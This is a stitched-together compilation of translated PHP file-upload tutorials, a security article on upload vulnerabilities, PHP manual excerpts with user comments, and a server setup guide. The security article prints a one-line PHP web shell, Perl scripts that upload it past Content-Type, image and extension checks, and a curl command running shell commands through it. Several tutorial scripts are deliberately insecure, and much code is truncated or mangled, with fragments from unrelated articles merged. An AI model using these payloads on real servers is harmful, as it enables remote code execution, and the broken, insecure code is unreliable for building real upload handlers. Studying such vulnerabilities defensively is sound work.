But at the beginning I would like to say a few words about how files are downloaded.

For this we need an html form with an input field like . In addition, to transfer files to the server, you must set the form type to multipart. To do this, as a parameter enctype value is indicated multipart/form-data.

After we place a form with a field on the html page A field will appear in the browser window allowing you to select a file on your local computer.

After the user selects required file and click the “Load” button, the form will submit php data script to the server specified in action forms. If the form's action is empty, then the data will be transferred to the same file on which the form is located. All information about the downloaded file is placed in an array $_FILES. All we have to do is extract this information and move the file to the location we need.

Before you start writing the processing script multipart forms, you need to edit the configuration file php.ini to allow files to be uploaded to the server.

Configuration PHP file php.ini has three parameters related to uploading files to the server:

  • file_uploads = On - allows files to be uploaded to the server by HTTP protocol;
  • upoad_tmp_dir = /tmp - sets the directory for temporary storage of downloaded files;
  • upload_max_filesize = 2M - sets the maximum size of uploaded files.

So create new file with name upload.php and copy the following code into it.

If you look closely at the form, you will see a hidden field

It points to maximum size received file in bytes. But you should not trust this value, as it is only a notification value and can be easily bypassed! So keep that in mind!

After the user has selected a file and clicked on the "Upload" button, all information about the file, as mentioned earlier, is placed in the $_FILES array, and the file itself is placed in a temporary directory on the server, which is specified in php.ini.

Since the file field was called name="uploadFile", then the $_FILES array will contain an associative array with the key "uploadFile" .

  • $_FILES[" uploadFile "]["name"] - the name of the file before it is sent to the server, for example, pict.gif;
  • $_FILES[" uploadFile "]["size"] - size of the received file in bytes;
  • $_FILES[" uploadFile "]["type"] - MIME type of the received file (if the browser was able to detect it), for example: image/gif, image/png, image/jpeg, text/html;
  • $_FILES[" uploadFile "]["tmp_name"] - contains the name of the file in the temporary directory, for example: /tmp/phpV3b3qY;
  • $_FILES[" uploadFile "]["error"] - Error code that may occur when uploading a file.

After the script completes, the temporary file will be deleted. This means that we must copy it to another location before the script completes.

So, we figured out the algorithm! Now let's take a look at the code.

First of all, we check whether the submit button was clicked.

If(isset($_POST["upload"])) ( )

If(is_uploaded_file($_FILES["uploadFile"]["tmp_name"])) ( Perform an action on the file ) else ( echo "File not uploaded"; )

If the file was downloaded via HTTP POST, then we then move it from the temporary directory to the directory we need. This is done using the move_uploaded_file function, which takes two parameters: the name of the file to be uploaded and the path where the file will be moved. If the file is successfully moved, this function will return true, otherwise false.

If(move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $uploadedFile)) ( echo File uploaded; ) else ( echo An error occurred while uploading the file; )

In our case, the name of the file is the name of the temporary file on the server - $_FILES["uploadFile"]["tmp_name"], and the directory where the file will be moved is the $uploadedFile variable, which was declared above in the script and contains a new file storage location.

$folder = "path/to/folder/"; $uploadedFile = $folder. basename($_FILES["uploadFile"]["name"]);

From my experience, I can say that there is no point in storing the original file name on the server, so you can rename it. To do this, we will generate a random name for our file and the move_uploaded_file() function will move and rename our file:

// Get the file extension $file_ext = strtolower(strrchr($_FILES["uploadFile"]["name"],."")); // Generate a random number $file_name = uniqid(rand(10000.99999)); // Form the path on the server $uploadedFile = $folder.$file_name.$file_ext;

And finally, here is a list of possible errors that occur when uploading files to the server. Let me remind you that the error code is stored in the $_FILES[" uploadFile "]["error"] variable:

  • 0- No errors occurred, the file was successfully uploaded to the server.
  • 1- The size of the received file exceeded the maximum allowed size, which is specified by the upload_max_filesize directive of the php.ini configuration file..
  • 2- Upload file size exceeded value MAX_FILE_SIZE specified in the HTML form.
  • 3- The downloaded file was only partially received.
  • 4- The file was not downloaded.
  • 6- No temporary folder.
  • 7- Failure to write files to disk.

As you can see, organizing file uploads to the server is not so difficult. It is more difficult to ensure the required level of security, since uploading files to the server can be used by attackers to attack the server.

Using our script, an attacker will be able to upload arbitrary files to the server, for example, he will be able to upload a PHP script to the server, which can recursively delete all your files on the server or PHP shell, so if you write your own file uploader, then this the matter must be taken seriously, without missing anything.

In our example, I did not set myself such a task, but only showed you the entire mechanism for uploading files to the server, but in the next article, I will show you how to ensure the necessary level of security!

This article demonstrates the main vulnerabilities of web applications for uploading files to the server and how to avoid them. The article contains the very basics; it is unlikely that it will be of interest to professionals. But nevertheless, every PHP developer should know this.

Various web applications allow users to upload files. Forums allow users to upload "avatars". Photo galleries allow you to upload photos. Social media provide opportunities to upload images, videos, etc. Blogs allow you to upload avatars and/or images.

Often, uploading files without proper security controls leads to vulnerabilities, which, as practice shows, have become a real problem in PHP web applications.

Conducted tests have shown that many web applications have many security problems. These “holes” provide attackers with extensive opportunities to perform unauthorized actions, starting with viewing any file on the server and uploading and executing arbitrary code. This article talks about the main security holes and how to avoid them.

The code examples provided in this article can be downloaded from:
www.scanit.be/uploads/php-file-upload-examples.zip.

If you want to use them, please make sure that the server you are using is not accessible from the Internet or any other public networks. The examples demonstrate various vulnerabilities, the execution of which on an externally accessible server can lead to dangerous consequences.

Regular file upload

Uploading files usually consists of two independent functions - accepting files from the user and showing files to the user. Both parts can be a source of vulnerabilities. Let's look at the following code (upload1.php):
$uploaddir = "uploads/" ; // Relative path under webroot


echo ;
}
?>


Typically users will upload files using a form like this:

< form name ="upload" action ="upload1.php" method ="POST" ENCTYPE ="multipart/form-data" >
Select the file to upload:< input type ="file" name ="userfile" >
< input type ="submit" name ="upload" value ="upload" >

* This source code was highlighted with Source Code Highlighter.

Intruder this form will not be used. He can write a small Perl script (possibly in any language - translator's note), which will emulate the user’s actions of downloading files in order to change the sent data at their discretion.

In this case, the upload contains a large security hole: upload1.php allows users to upload arbitrary files to the root of the site. An attacker can upload a PHP file that allows arbitrary shell commands to be executed on the server with the privilege of the web server process. This script is called PHP-Shell. Here is the simplest example of such a script:

system($_GET["command"]);
?>

If this script is located on the server, then you can execute any command via a request:
server/shell.php?command=any_Unix_shell_command

More advanced PHP shells can be found on the Internet. They can download arbitrary files, execute SQL queries, etc.

The Perl source shown below uploads PHP-Shell to the server using upload1.php:

#!/usr/bin/perl
use LWP; # we are using libwwwperl
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;
$res = $ua->request(POST "http://localhost/upload1.php",
Content_Type => "form-data" ,
Content => ,],);

Print $res->as_string();


* This source code was highlighted with Source Code Highlighter.

This script uses libwwwperl, which is a convenience Perl library that emulates an HTTP client.

And this is what will happen when this script is executed:

Request:

POST /upload1.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost

Content-Length: 156

--xYzZY

Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Wed, 13 Jun 2007 12:25:32 GMT
Server: Apache

Content-Length: 48
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

After we have loaded the shell script, we can safely run the command:
$ curl localhost/uploads/shell.php?command=id
uid=81(apache) gid=81(apache) groups=81(apache)

cURL is a command-line HTTP client available on Unix and Windows. This is a very useful tool for testing web applications. cURL can be downloaded from curl.haxx.se

Checking Content-Type

The above example rarely occurs. In most cases, programmers use simple checks to ensure that users download files of a strictly defined type. For example, using the Content-Type header:

Example 2 (upload2.php):

if ($_FILES[;
exit;
}
$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter.

In this case, if an attacker only tries to download shell.php, our code will check the MIME type of the downloaded file in the request and filter out the unnecessary ones.

Request:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 156
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: text/plain
system($_GET["command"]);
?>
--xYzZY--

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 13:54:01 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 41
Connection: close
Content-Type: text/html
So far so good. Unfortunately, there is a way to bypass this protection because the MIME type being checked comes with the request. In the query above it is set to "text/plain" (it is installed by the browser - translator's note). There is nothing stopping an attacker from setting it to "image/gif", since with client emulation he has full control over the request he sends (upload2.pl):
#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload2.php",
Content_Type => "form-data" ,
Content => ,],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter.

And this is what happens.

Request:

POST /upload2.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:02:11 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html

As a result, our upload2.pl forges the Content-Type header, forcing the server to accept the file.

Checking the Contents of an Image File

Instead of trusting the Content-Type header, the PHP developer could check the actual content of the uploaded file to ensure that it is indeed an image. The PHP getimagesize() function is often used for this. It takes the filename as an argument and returns an array of image sizes and type. Let's look at the upload3.php example below.
$imageinfo = getimagesize($_FILES["userfile" ]["tmp_name" ]);
if ($imageinfo["mime" ] != "image/gif" && $imageinfo["mime" ] != "image/jpeg" ) (
echo "Sorry, we only accept GIF and JPEG images\n";
exit;
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>

* This source code was highlighted with Source Code Highlighter.

Now, if an attacker tries to upload shell.php, even if he sets the Content-Type header to "image/gif", then upload3.php will still throw an error.

Request:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 155
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="shell.php"
Content-Type: image/gif
system($_GET["command"]);
?>
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:33:35 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 42
Connection: close
Content-Type: text/html
Sorry, we only accept GIF and JPEG images

You might think that now we can rest assured that only GIF or JPEG files will be downloaded. Unfortunately, this is not the case. The file can actually be in GIF or JPEG format, and at the same time a PHP script. Most image formats allow you to add text metadata to the image. It is possible to create a perfectly valid image that contains some PHP code in this metadata. When getimagesize() looks at a file, it will treat it as a valid GIF or JPEG. When a PHP translator looks at a file, it sees executable PHP code in some binary "garbage" that will be ignored. A typical file called crocus.gif is contained in the example (see the beginning of the article). Such an image can be created in any graphics editor.

So, let's create a Perl script to load our image:

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload3.php",
Content_Type => "form-data" ,
Content => , ],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter.

This code takes the file crocus.gif and loads it with the name crocus.php. Execution will result in the following:

Request:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY

Content-Type: image/gif
GIF89a(...some binary data...)(... skipping the rest of binary data ...)
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:47:24 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

An attacker can now execute uploads/crocus.php and get the following:

As you can see, the PHP translator ignores the binary data at the beginning of the image and executes the sequence "" in the GIF comment.

Checking the extension of the downloaded file

A reader of this article might wonder why we don't just check the extension of the downloaded file? If we don't allow *.php files to be loaded, then the server will never be able to execute that file as a script. Let's look at this approach as well.

We can blacklist file extensions and check the name of the uploaded file, ignoring the upload of the file with executable extensions (upload4.php):

$blacklist = array(".php" , ".phtml" , ".php3" , ".php4" );
foreach ($blacklist as $item) (
if (preg_match(;
exit;
}
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>


* This source code was highlighted with Source Code Highlighter.

The expression preg_match("/$item\$/i", $_FILES["userfile"]["name"]) matches the user-defined file name in the blacklist array. The "i" modifier says that our expression is case insensitive. If the file extension matches one of the items in the blacklist, the file will not be downloaded.

If we try to upload a file with a .php extension, this will result in an error:

Request:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif

--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 36
Connection: close
Content-Type: text/html
If we download a file with a .gif extension, then it will be downloaded:

Request:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.gif"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY--

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:20:17 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Now, if we request the downloaded file, it will not be executed by the server:

Surely you often uploaded various files to websites. For example, uploaded avatars on the forum, photos on social networks, various videos on video hosting sites, just files on file hosting services. And in this article you will find out how to upload files to server in PHP. It is through PHP in most cases this is what is implemented.

The first thing you need to understand is that you HTML form, into which the file is inserted should not be quite ordinary, here is an example HTML code this form:





The key point here is the attribute " enctype"with meaning" multipart/form-data". Without it, nothing will work.

", in which we will not download the file yet, but will go a little through various important points that must be taken into account, otherwise security may suffer:

print_r($_FILES);
?>

As a result, you will see the content global two-dimensional array $_FILES:

  • name- name of the downloaded file.
  • type - MIME-type downloaded file. This is perhaps the most important parameter for ensuring security. And always when receiving files you need to check MIME-type, otherwise you won’t have any problems. In the next article we will talk about this in more detail.
  • tmp_name- physical path to the temporary file. It is in this place that the file is placed, and only then we transfer it to another location. In fact, the file has already been downloaded, and we just need to move it to the desired folder on the server.
  • error- error code. If 0 , then there are no errors.
  • size- size of the downloaded file. This is also a frequently used option, and it also needs to be checked so that limit the size of uploaded files. Of course, this size is limited by the server itself, however, for all kinds of pictures, this size is clearly too high (as a rule, it 10 MB).

And all these parameters are present for each file that is loaded (each of which is an array in a two-dimensional array $_FILES).

Now let's finish with uploading files to the server in PHP, and for this we will write the following code (""):

$uploadfile = "images/".$_FILES["somename"]["name"];
move_uploaded_file($_FILES["somename"]["tmp_name"], $uploadfile);
?>

That is, first we set the path to the downloaded file on the server. Here we want to place the file in the directory " images" with the same name as the file had before. And the function move_uploaded_file() we move the file to the directory of our choice from its temporary storage.

However, please note, this is very important! Under no circumstances should you use the code this way, otherwise your site will There will be serious danger! In fact, at the moment absolutely anything can be downloaded: any executable files, scripts, HTML pages and other very dangerous things. Therefore, it is imperative to check the files uploaded to the server very carefully. And this is what we will do in the next article. Since the topic is very important, I advise you to subscribe to updates so as not to miss this article.

This feature allows you to upload both text and binary files. With PHP's authentication and file handling features, you have full control over who is allowed to upload files and what to do with the file once it is uploaded.

PHP is capable of receiving downloaded files from any RFC-1867 compliant browser.

It's also worth noting that PHP supports file upload using the PUT method, which is used in the Netscape Composer and W3C Amaya clients. For more detailed documentation, see the PUT method support section.

Example #1 Form for uploading files

The file upload page can be implemented using a special form that looks something like this:

Send this file:

In the above example __URL__ must be replaced with a link to a PHP script.

Hidden field MAX_FILE_SIZE(the value must be specified in bytes) must precede the file selection field, and its value is the maximum accepted file size in PHP. It is recommended to always use this variable as it prevents users from waiting anxiously when transferring huge files, only to find out that the file is too large and the transfer actually failed. Keep in mind that it is quite easy to bypass this limitation on the browser side, so you should not rely on all larger files being blocked by this feature. This is mostly a convenience feature for users of the client side of your application. However, the PHP settings (on the server) regarding the maximum size cannot be bypassed.

Comment:

You should also make sure that the upload form has the attribute enctype="multipart/form-data", otherwise the files will not be uploaded to the server.

The original name of the file on the client's computer.

$_FILES["userfile"]["type"]

Mime file type, if the browser provided such information. An example is "image/gif". This mime type is not validated on the PHP side, so do not rely on its value without validation.

$_FILES["userfile"]["size"]

Size in bytes of the received file.

$_FILES["userfile"]["tmp_name"]

The temporary name with which the received file was saved on the server.

$_FILES["userfile"]["error"]

At the end of the script, if the downloaded file has not been renamed or moved, it will be automatically deleted from the temporary folder.

Images:

foreach ($_FILES [ "pictures" ][ "error" ] as $key => $error ) (
if ($error == UPLOAD_ERR_OK ) (
$tmp_name = $_FILES [ "pictures" ][ "tmp_name" ][ $key ];
// basename() can save you from attacks on the file system;
// additional file name checking/cleaning may be needed
$name = basename($_FILES[ "pictures" ][ "name" ][ $key ]);
move_uploaded_file($tmp_name, "data/$name");
}
}
?>

A file download progress bar can be implemented using "track file download progress using sessions".

Use Psr\Http\Message\UploadedFileInterface;
use Zend\Diactoros\ServerRequestFactory;

$request = ServerRequestFactory::fromGlobals();

if ($request -> getMethod() !== "POST" ) (
http_response_code(405);
exit("Use POST method." );
}

$uploaded_files = $request -> getUploadedFiles();

if (
!isset($uploaded_files [ "files" ][ "x" ][ "y" ][ "z" ]) ||
! $uploaded_files [ "files" ][ "x" ][ "y" ][ "z" ] instanceof UploadedFileInterface
) {
http_response_code(400);
exit("Invalid request body." );
}

$file = $uploaded_files [ "files" ][ "x" ][ "y" ][ "z" ];

if ($file -> getError () !== UPLOAD_ERR_OK ) (
);
}

$file -> moveTo("/path/to/new/file" );

?>

10 years ago

I think the way an array of attachments works is kind of cumbersome. Usually the PHP guys are right on the money, but this is just counter-intuitive. It should have been more like:

Array
=> Array
=> facepalm.jpg
=> image/jpeg
=> /tmp/phpn3FmFr
=> 0
=> 15476
)

=> Array
=>
=>
=>
=> 4
=>
)

and not this
Array
=> Array
=> facepalm.jpg
=>
)

=> Array
=> image/jpeg
=>
)

=> Array
=> /tmp/phpn3FmFr
=>
)

=> Array
=> 0
=> 4
)

=> Array
=> 15476
=> 0
)

Anyways, here is a fuller example than the sparce one in the documentation above:

foreach ($_FILES [ "attachment" ][ "error" ] as $key => $error )
{
$tmp_name = $_FILES [ "attachment" ][ "tmp_name" ][ $key ];
if (! $tmp_name ) continue;

$name = basename($_FILES[ "attachment" ][ "name" ][ $key ]);

If ($error == UPLOAD_ERR_OK )
{
if (move_uploaded_file ($tmp_name , "/tmp/" . $name ))
$uploaded_array .= "Uploaded file "" . $name . "".
\n" ;
else
$errormsg .= "Could not move uploaded file "". $tmp_name. "" to "" . $name . ""
\n" ;
}
else $errormsg .= "Upload error. [" . $error . "] on file "" . $name . ""
\n" ;
}
?>

3 years ago

The documentation doesn't have any details about how the HTML array feature formats the $_FILES array.

Example $_FILES array:

For single file -

Array
=> Array
=> sample-file.doc
=> application/msword
=> /tmp/path/phpVGCDAJ
=> 0
=> 0
)

Multi-files with HTML array feature -

Array
=> Array
=> Array
=> sample-file.doc
=> sample-file.doc
)

=> Array
=> application/msword
=> application/msword
)

=> Array
=> /tmp/path/phpVGCDAJ
=> /tmp/path/phpVGCDAJ
)

=> Array
=> 0
=> 0
)

=> Array
=> 0
=> 0
)

The problem occurs when you have a form that uses both single file and HTML array feature. The array isn't normalized and tends to make coding for it really sloppy. I have included a nice method to normalize the $_FILES array.

Function normalize_files_array ($files = ) (

$normalized_array = ;

Foreach($files as $index => $file ) (

If (! is_array ($file [ "name" ])) (
$normalized_array [ $index ] = $file ;
continue;
}

Foreach($file [ "name" ] as $idx => $name ) (
$normalized_array [ $index ][ $idx ] = [
"name" => $name ,
"type" => $file [ "type" ][ $idx ],
"tmp_name" => $file [ "tmp_name" ][ $idx ],
"error" => $file [ "error" ][ $idx ],
"size" => $file [ "size" ][ $idx ]
];
}

Return $normalized_array ;

?>

The following is the output from the above method.

Array
=> Array
=> Array
=> sample-file.doc
=> application/msword
=> /tmp/path/phpVGCDAJ
=> 0
=> 0
)

=> Array
=> Array
=> sample-file.doc
=> application/msword
=> /tmp/path/phpVGCDAJ
=> 0
=> 0
)

=> Array
=> sample-file.doc
=> application/msword
=> /tmp/path/phpVGCDAJ
=> 0
=> 0
)

4 years ago

For clarity the reason you would NOT want to replace the example script with
$uploaddir = "./";
is because if you have no coded file constraints a nerd could upload a php script with the same name of one of your scripts in the scripts directory.

Given the right settings and permissions php-cgi is capable of replacing even php files.

Imagine if it replaced the upload post processor file itself. The next "upload" could lead to some easy exploits.

Even when replacements are not possible; uploading an .htaccess file could cause some problems, especially if it is sent after the nerd throws in a devious script to use htaccess to redirect to his upload.

There are probably more ways of exploiting it. Don't let the nerds get you.

More sensible to use a fresh directory for uploads with some form of unique naming algorithm; maybe even a cron job for sanitizing the directory so older files do not linger for too long.

10 years ago

Also note that since MAX_FILE_SIZE hidden field is supplied by the browser doing the submitting, it is easily overridden from the clients" side. You should always perform your own examination and error checking of the file after it reaches you, instead of relying on information submitted by the client. This includes checks for file size (always check the length of the actual data versus the reported file size) as well as file type (the MIME type submitted by the browser can be inaccurate at best, and intentionally set to an incorrect value at worst).

2 years ago

I have found it useful to re-order the multidimensional $_FILES array into a more intuitive format, as proposed by many other developers already.

Unfortunately, most of the proposed functions are not able to re-order the $_FILES array when it has more than 1 additional dimension.

Therefore, I would like to contribute the function below, which is capable of meeting the aforementioned requirement:

function get_fixed_files() (
$function = function($files, $fixed_files = array(), $path = array()) use (& $function ) (
foreach ($files as $key => $value) (
$temp = $path ;
$temp = $key ;

If (is_array($value)) (
$fixed_files = $function ($value, $fixed_files, $temp);
) else (
$next = array_splice($temp, 1, 1);
$temp = array_merge($temp, $next);

$new = & $fixed_files ;

Foreach ($temp as $key ) (
$new = & $new [ $key ];
}

$new = $value ;
}
}

Return $fixed_files ;
};

Return $function($_FILES);
}
?>

Side note: the unnamed function within the function is used to avoid confusion regarding the arguments necessary for the recursion within the function, for example when viewing the function in an IDE.

JavaScript is blocked in your browser. Please enable JavaScript for the site to function!

Uploading files to the server

A short excursion into upload

What are Upload files, or why doesn't it work?
copy ("c:\images\sample.jpg", "http://mysite.ru/uploads/sample.jpg")

Even if you have only one computer, which combines both a server and a workstation, do not forget that php uses client/server technology. The file we want to download is usually located on the client's machine, i.e. user, an ordinary visitor to the site. The destination is the server. In order to complete the file transfer process, we need the following form:

Send this file:

In this case, the action field must indicate the URL of your PHP script, which will subsequently process the downloaded files. The hidden field MAX_FILE_SIZE must precede the file selection field and contain the maximum allowed file size in bytes. Its purpose is to check the file size before sending the file to the server. This should save the user from lengthy and fruitless uploading of a file to the server and the generation of unnecessary traffic, but you should not rely too much on this limitation, as it is easy to bypass.

What happens when the user selects a file on his disk and clicks on the "Send file" button? The browser sends the file to the server, where the PHP interpreter places it in its temporary directory, assigning it a random name and executes the script specified in the action field.

What should upload.php look like?

$uploaddir = "/var/www/uploads/"; if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $uploaddir. $_FILES["userfile"]["name"])) ( print "File is valid, and was successfully uploaded."; ) else ( print "There are some errors!"; )

When writing a script, a natural question arises: how to obtain information about the downloaded file and access the file itself. If you are using PHP version 4.1.0 or older, your best bet is to access the global $_FILES array. For each downloaded file, it contains a hash array with the following data:

  • $_FILES["userfile"]["name"]- the original file name, as the user saw it when selecting the file;
  • $_FILES["userfile"]["type"]- mime/type of the file, for example, can be image/gif; This field is useful to save if you want to provide an interface for downloading uploaded files;
  • $_FILES["userfile"]["size"]- size of the downloaded file;
  • $_FILES["userfile"]["tmp_name"]- full path to the temporary file on disk;
  • $_FILES["userfile"]["error"]- Since version 4.2.0, contains an error code that is equal to 0 if the operation was successful.

For PHP versions below 4.1.0 this array is called $HTTP_POST_FILES. Do not forget that, unlike $_FILES, this array is not super-global and when accessing it, for example, from a function, you must explicitly specify global $HTTP_POST_FILES;

If in your server settings register_globals=on, additional variables like $userfile_name, $userfile_type, $userfile_size... Considering that, starting from version 4.2.0, in the default settings register_globals=off, the use of these variables is not recommended, even if they defined. The best way to get information about downloaded files is to use the $_FILES array.

To work with uploaded files, it's best to use the built-in is_uploaded_file() and move_uploaded_file() functions, which check if the file has been uploaded and place it in the specified folder accordingly. More detailed information can be found on the manual pages. You shouldn’t reinvent the wheel and work with temporary files yourself, copy them, delete them. This has already been done before you and for you.

Server setup

I did everything right, but something is not working for me. Maybe my server is configured incorrectly?

If you “did everything right”, but your code does not work, or does not work correctly, do not rush to despair. Perhaps the problem is not in your hands, but in incorrect server settings. Here is a list of directives that relate to file uploading:

In the php.ini file:

  • If you want to find out where your php.ini is located, run
  • file_uploads- the ability to prohibit or allow file downloads in general. Default is On.
  • upload_max_filesize- the maximum file size that can be uploaded. If you need to work with large files, change this setting. Default is 2M. Don't forget to change post_max_size.
  • post_max_size- general upper limit on the size of data transmitted in a POST request. If you need to work with large files, or transfer multiple files at the same time, change this setting. The default value is 8M.
  • upload_tmp_dir- a temporary directory on the server in which all downloaded files will be placed. Check what rights are assigned to it (if you have any difficulties at this stage, see the explanations at the end of the article). Such a directory must exist and the user under which Apache is running must also have write permissions to this directory. If you are working with the open_basedir restriction enabled, then the temporary directory must be inside. You don't have to worry about cleaning it up or making names unique, PHP solves this problem for you.

In file httpd.conf:

  • First of all, make sure that you are using the Apache 1.3 web server (the latest version at the time of writing is 1.3.27). If you are using Apache 2.0, you should read the following excerpt from the documentation:

    Do not use Apache 2.0 and PHP in a production environment neither on Unix nor on Windows.

  • If you receive a "POST Method Not Allowed" message, this means you should look for something similar to the following directives, and use the Allow keyword: Order allow,deny Allow from all
  • Problems with downloading binary files - the classic question “why do files crash when uploading”. Here is a solution proposed by Dima Borodin (http://php.spb.ru): In the directory where the script is located, create a .htaccess file in which we write: CharsetDisable On To file httpd.conf add the lines: CharsetRecodeMultipartForms Off

A few clarifications for this recipe: the problem described above, when archives uploaded to the server are not unpacked and pictures are not displayed, may occur due to the fact that the Russian Apache web server is used. The CharsetDisable directive disables the charset-processing module, i.e. no recoding will occur when downloading files located in this folder. The CharsetRecodeMultipartForms directive disables the recoding of data transmitted via the POST method with the Content-Type: multipart/form-data header. Those. binary data transmitted with this setting will be left in its original form, and all other site content will be recoded according to the current server settings.

But complications may arise: be prepared for the fact that in some cases you will have to recode the text parts of requests yourself. Here's what the documentation says about this:

Use the CharsetRecodeMultipartForms directive, which was introduced in PL23, but you will still have to manually recode the text parts of the requests. To do this, you can use the Russian Apache API, available in other modules, or the Russian Apache Perl API, available from mod_perl.

One example of determining the encoding can be found here: http://tony2001.phpclub.net/detect_charset/detect.phps

The latest documentation for Russian Apache is located on its official website: http://apache.lexa.ru/.

Don't forget that after any configuration change, you need to restart your web server.

It is also possible to configure Apach settings using .htaccess:

Php_value upload_max_filesize 50M php_value post_max_size 50M

Additional features

Uploading multiple files at once

Example of a multiple file upload form:

Send these files:


And don't forget to increase post_max_size, if there are many files expected

Automatically upload files to the server

Do not forget that the files on the user’s disk are confidential information, to which neither JavaScript, nor even more so PHP, have the slightest connection. Until the user himself selects the file using There can be no talk of any work with him. And don't forget that this input field's value attribute is write-protected.

Storing files in a mySQL database

If you are planning to store downloaded files in a database, you need to remember the following points:

  • You must use a BLOB field
  • Before putting it into the database, do not forget to apply mysql_escape_string() to the string
  • When displaying a file, you must specify the content/type header

Remember that the script that displays your HTML has nothing to do with the script that should display the image. These must be two different applications.

Storing images in a database is not good style. It is much more convenient to store only the paths to image files in the database.

Getting image properties.

If you are faced with the task of checking the type or size of an image before uploading a file to the server, you will need the getimagesize() function. It takes the name of a file on disk as an argument and returns an array whose first two elements are the width and height, respectively, and the third is the image type. If it is impossible to read the correct image from the specified file, the function returns false.

Uploading files with Russian-language names

When uploading files to the server, you must check their original names for the presence of “non-standard” characters (for example, Russian letters). If they are present, they must be replaced. The original file name can be found in the $_FILES["userfile"]["name"] variable. How to recode a Russian-language string into transliteration can be found in the PHP examples.

Displaying download status (Progress bar)

It is necessary to take into account that until the file is completely downloaded, PHP cannot operate with either the file size or the percentage of its download. Only when the file is already on the PHP server is it able to access the information. If you still absolutely need to implement this feature, use the Java applet.

File permissions

Problems with rights on the server (upload_tmp_dir)

In Unix-like operating systems, each folder, file, and link has corresponding access rights. They may look like rwx-rw-r- or the number 754.

The availability of a file or directory depends on the user ID and group ID of which the user is a member. The mode as a whole is described in terms of three sequences, each with three letters:

Owner Group Other (u) (g) (o) rwx rwx rwx

Here, the owner, group members, and all other users have the rights to read, write to, and execute the file. Rights are any meaningful combination of the following letters:

r Reading rights. (4)
w Write permission. (2)
x Execute right (catalog search). (1)

  • Set the owner of the directory to the user with whose privileges apache is running. This can be found from the httpd.conf file or by viewing the list of processes on the server. Directory rights must be 700 (rwx------).
  • Regardless of who owns the directory, set permissions to 777 (rwxrwxrwx).

    An example of the implementation of uploading pictures to the server.

